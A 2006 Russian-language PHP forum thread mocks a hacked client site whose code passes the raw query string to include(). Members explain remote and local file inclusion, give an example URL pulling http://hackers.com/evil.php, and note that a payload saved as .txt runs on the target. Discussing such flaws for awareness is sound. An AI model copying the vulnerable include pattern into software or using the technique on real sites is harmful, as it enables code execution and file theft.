За последние 24 часа нас посетил 22861 программист и 1723 робота. Сейчас ищут 2056 программистов ...

взлом :)

Тема в разделе "Прочие вопросы по PHP", создана пользователем Vlad, 9 июн 2006.

  1. Vlad

    Vlad Активный пользователь

    С нами с:
    22 мар 2006
    Сообщения:
    51
    Симпатии:
    0
    Адрес:
    Питер
    клиентов поломали, сайт не скажу какой, если клиент увидит, то извиняюсь перед ним, но такое писать НЕЛЬЗЯ :)
    кроме как в trash наверное некуда это постить...
    PHP:
    1.  
    2. <?php
    3. function foo ($in) {
    4. if ($in != "") {$out=$in;}
    5. else {$out="about-first.inc";} return $out;}?> <?
    6. include (foo($_SERVER['QUERY_STRING']));
    7. ?>
    8.  
     
  2. Vitas

    Vitas Активный пользователь

    С нами с:
    7 фев 2006
    Сообщения:
    595
    Симпатии:
    0
    Адрес:
    Новосибирск, Академгородок
    И как Вы так умудрились написать? ;)
     
  3. 440Hz

    440Hz Старожил
    Команда форума Модератор

    С нами с:
    21 дек 2012
    Сообщения:
    8.003
    Симпатии:
    1
    Адрес:
    Оттуда
    Vlad

    от ведь люди жгут! Охренеть! Дайте две!
     
  4. Vlad

    Vlad Активный пользователь

    С нами с:
    22 мар 2006
    Сообщения:
    51
    Симпатии:
    0
    Адрес:
    Питер
    не, это не мое творение :)
     
  5. Michael

    Michael Активный пользователь

    С нами с:
    7 фев 2006
    Сообщения:
    54
    Симпатии:
    0
    Vlad, такие примитивнейшие include-баги можно найти на тысячах сайтов в интернете )) Это, к сожалению, не редкость.
     
  6. Vladson

    Vladson Старожил

    С нами с:
    4 фев 2006
    Сообщения:
    4.040
    Симпатии:
    26
    Адрес:
    Estonia, Tallinn
    К счастью не в OpenSource проектах :)
     
  7. pnata

    pnata Guest

    объясните в чем прикол?
     
  8. Vitas

    Vitas Активный пользователь

    С нами с:
    7 фев 2006
    Сообщения:
    595
    Симпатии:
    0
    Адрес:
    Новосибирск, Академгородок
    Дело в том, что в переменную $_SERVER ["QUERY_STRING"] можно написать, все что угодно => включить в скрипт любой файл, например:
    http://site.ru/?http://hackers.com/evil.php
     
  9. Mavir

    Mavir Guest

    Ничего не будет, если вставить http://site.ru/?http://hackers.com/evil.php. А вот если туда вставить путь к какому-нибудь локальному файлу, например, к паролям, то выведется его информация
     
  10. Vitas

    Vitas Активный пользователь

    С нами с:
    7 фев 2006
    Сообщения:
    595
    Симпатии:
    0
    Адрес:
    Новосибирск, Академгородок
    Хм.. Странно, у меня в мануале написано что код вставится.
    PHP:
    1. <?php
    2.  
    3. /* This example assumes that [url=http://www.example.com]www.example.com[/url] is configured to parse .php
    4.  * files and not .txt files. Also, 'Works' here means that the variables
    5.  * $foo and $bar are available within the included file. */
    6.  
    7. // Won't work; file.txt wasn't handled by [url=http://www.example.com]www.example.com[/url] as PHP
    8. include 'http://www.example.com/file.txt?foo=1&bar=2';
    9.  
    10. // Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
    11. // local filesystem.
    12. include 'file.php?foo=1&bar=2';
    13.  
    14. // Works.
    15. include 'http://www.example.com/file.php?foo=1&bar=2';
    16.  
    17. $foo = 1;
    18. $bar = 2;
    19. include 'file.txt';  // Works.
    20. include 'file.php';  // Works.
    21.  
    22. ?>
    23.  
    [/code]
     
  11. Mavir

    Mavir Guest

    А где будет выполняться скрипт 'http://www.example.com/file.php?foo=1&bar=2', на удаленном сервере или локальном?
    Опасность будет только когда в html вставится javascript, который, например, может своровать куки. А include удаленного php скрипта абсолютно безопасно, так как вставляется только результат выполнения, т.е. только текст.
     
  12. simpson

    simpson Активный пользователь

    С нами с:
    11 фев 2006
    Сообщения:
    1.650
    Симпатии:
    0
    Адрес:
    Санкт-Петербург
    но если удаленный скрипт хранить на хостинге, который не интерпретирует пхп скрипты, то все прекрасно сработает. скрипт проинклудится и выполнится на локальном сервере.
     
  13. Mavir

    Mavir Guest

    Да, действительно. Не знал про это. Но не надо искать хостинг, где не выполняются скрипты, а достаточно передать текст в виде кода, например, сохранив с расширением txt